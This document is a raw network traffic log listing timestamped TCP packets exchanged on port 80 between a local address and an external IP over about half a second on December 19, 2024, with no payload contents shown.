Dec 19, 2024 03:09:11.317145109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.317202091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.317301035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.317356110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.318142891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.318209887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.318290949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.318345070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.319137096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.319199085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.319278955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.319330931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.320106983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.320172071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.320252895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.320310116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.321094990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.321161985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.321227074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.321285009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.322057962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.322114944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.322194099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.322247982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.323069096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.323137999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.323204994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.323259115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.324017048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.324069023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.324151039 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.324203968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.325000048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.325059891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.325141907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.325196028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.326014042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.326067924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.326272964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.326323986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.326972008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.327024937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.327105999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.327158928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.327946901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.328001022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.328082085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.328149080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.328926086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.328982115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.329061985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.329117060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.329895973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.329957962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.330037117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.330094099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.330882072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.330944061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.331026077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.331082106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.331949949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.332014084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.332017899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.332072020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.332844973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.332909107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.333007097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.333061934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.333820105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.333906889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.333978891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.334034920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.334801912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.334856033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.334930897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.334990978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.336546898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.336587906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.336610079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.336648941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.336720943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.336780071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.336875916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.336936951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.337723017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.337785959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.337872982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.337930918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.338731050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.338793993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.338885069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.338953018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.339704990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.339766026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.339839935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.339898109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.340699911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.340763092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.481900930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.481937885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.481962919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.481982946 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.482695103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.482753992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.482836008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.483064890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.483102083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.483119011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.483186007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.483241081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.483956099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.484014034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.484071016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.484127998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.484934092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.484992027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.485065937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.485196114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.485912085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.486025095 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.486027956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.486073971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.486871004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.486922979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.486996889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.487051010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.487860918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.487968922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.487970114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.488023996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.488820076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.488879919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.488951921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.489008904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.489798069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.489877939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.489947081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.490000010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.490829945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.490890980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.490968943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.491024971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.491781950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.491835117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.491906881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.491962910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.492747068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.492795944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.492868900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.492917061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.493731022 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.493789911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.493843079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.493899107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.494702101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.494754076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.494816065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.494863987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.495697975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.495750904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.495814085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.495867014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.496649027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.496712923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.496772051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.496825933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.497648954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.497705936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.497796059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.497847080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.498605967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.498661995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.498728037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.498785019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.499581099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.499646902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.499708891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.499772072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.500581026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.500642061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.500683069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.500739098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.501548052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.501604080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.501667023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.501717091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.502533913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.502584934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.502649069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.502698898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.503526926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.503582954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.503628016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.503685951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.504494905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.504601002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.504637003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.504676104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.505460024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.505515099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.505633116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.505690098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.506445885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.506519079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.506578922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.506666899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.507441044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.507499933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.507550001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.507601976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.508395910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.508488894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.508553982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.508605957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.509380102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.509438038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.509501934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.509553909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.510353088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.510412931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.510896921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.510955095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.511354923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.511423111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.511482954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.511539936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.512370110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.512448072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.512478113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.512514114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.513297081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.513355970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.513417006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.513469934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.514271021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.514353991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.514389038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.514445066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.515240908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.515290022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.515372992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.515424967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.516264915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.516315937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.516381979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.516431093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.517234087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.517292023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.517349005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.517400026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.518208027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.518265963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.518323898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.518373013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.519180059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.519243956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.519308090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.519364119 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.520193100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.520243883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.520289898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.520344019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.521125078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.521183014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.521246910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.521301031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.522130013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.522186995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.522228003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.522356987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.523132086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.523186922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.523248911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.523303986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.524077892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.524137974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.524199963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.524250031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.525055885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.525106907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.525166035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.525216103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.526010036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.526072979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.526138067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.526185036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.527010918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.527069092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.527129889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.527194977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.528014898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.528068066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.528139114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.528196096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.528980017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.529038906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.529097080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.529143095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.529949903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.530009985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.530086040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.530137062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.530927896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.530991077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.531066895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.531117916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.531976938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.532032013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.532138109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.532188892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.532813072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.532865047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.673789978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.673871040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.673919916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.673943043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.674257040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.674304962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.674345970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.674397945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.675224066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.675275087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.675343037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.675390005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.676150084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.676211119 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.676260948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.676318884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.677146912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.677205086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.677275896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.677330971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.678122044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.678177118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.678241014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.678297043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.679099083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.679157972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.679219961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.679276943 CET	49835	80	192.168.2.5	31.41.244.11
